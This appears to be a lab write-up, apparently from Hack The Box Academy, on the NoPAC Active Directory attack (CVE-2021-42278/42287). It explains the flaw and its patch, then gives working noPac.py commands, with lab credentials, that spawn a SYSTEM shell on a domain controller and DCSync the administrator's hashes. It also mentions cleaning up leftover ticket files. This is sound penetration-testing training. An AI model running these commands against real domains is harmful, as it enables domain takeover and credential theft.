The NoPAC Attack
Introduction
NoPAC is a privilege escalation vulnerability in Active Directory environments that allows an authenticated low-privileged user to impersonate any user, including Domain Admins
The Inside Out
This vulnerability encompasses two CVEs 2021-42278 and 2021-42287, allowing for intra-domain privilege escalation from any standard domain user to Domain Admin level access in one single command. Here is a quick breakdown of what each CVE provides regarding this vulnerability.
CVE | Description |
---|---|
42278 | 42278 is a bypass vulnerability with the Security Account Manager (SAM). |
42287 | 42287 is a vulnerability within the Kerberos Privilege Attribute Certificate (PAC) in ADDS. |
This exploit path takes advantage of being able to change the SamAccountName of a computer account to that of a Domain Controller. By default, authenticated users can add up to ten computers to a domain.
When doing so, we change the name of the new host to match a Domain Controller’s SamAccountName. Once done, we must request Kerberos tickets causing the service to issue us tickets under the DC’s name instead of the new name.
When a TGS is requested, it will issue the ticket with the closest matching name. Once done, we will have access as that service and can even be provided with a SYSTEM shell on a Domain Controller. The flow of the attack is outlined in detail in this blog post.
In November 9, 2021: Microsoft released initial security updates that addressed both CVE‑2021‑42278 (SAM spoofing) and CVE‑2021‑42287 (Kerberos PAC bypass)
support.microsoft.com+15
Potential precursor to ransomware infections
After gaining domain access, a threat actor’s ability to deploy additional malware, including ransomware, is virtually unlimited. AD abuse is involved in most ransomware incidents Secureworks researchers investigate. Threat actors typically leverage misconfigurations to escalate privileges within AD. In this case, AD design flaws create the escalation path.
Setup:
Ensuring Impacket is Installed
1 | magdy3660@htb[/htb]$ git clone https://github.com/SecureAuthCorp/impacket.git |
1 | magdy3660@htb[/htb]$ python setup.py install |
Cloning the NoPac Exploit Repo
1 | magdy3660@htb[/htb]$ git clone https://github.com/Ridter/noPac.git |
Once Impacket is installed and we ensure the repo is cloned to our attack box, we can use the scripts in the NoPac directory to check if the system is vulnerable using a scanner (scanner.py
) then use the exploit (noPac.py
) to gain a shell as NT AUTHORITY/SYSTEM
. We can use the scanner with a standard domain user account to attempt to obtain a TGT from the target Domain Controller. If successful, this indicates the system is, in fact, vulnerable. We’ll also notice the ms-DS-MachineAccountQuota
number is set to 10. In some environments, an astute sysadmin may set the ms-DS-MachineAccountQuota
value to 0. If this is the case, the attack will fail because our user will not have the rights to add a new machine account. Setting this to 0
can prevent quite
Running NoPac
1 | $ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap |
We will notice that a semi-interactive shell session
is established with the target using smbexec.py. Keep in mind with smbexec shells we will need to use exact paths instead of navigating the directory structure using cd
.
It is important to note that NoPac.py does save the TGT in the directory on the attack host where the exploit was run. We can use ls
to confirm.
Confirming the Location of Saved Tickets
1 | $ ls |
We could then use the ccache file to perform a pass-the-ticket and perform further attacks such as DCSync. We can also use the tool with the -dump
flag to perform a DCSync using secretsdump.py. This method would still create a ccache file on disk, which we would want to be aware of and clean up.
Using noPac to DCSync the Built-in Administrator Account
1 | $ sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator |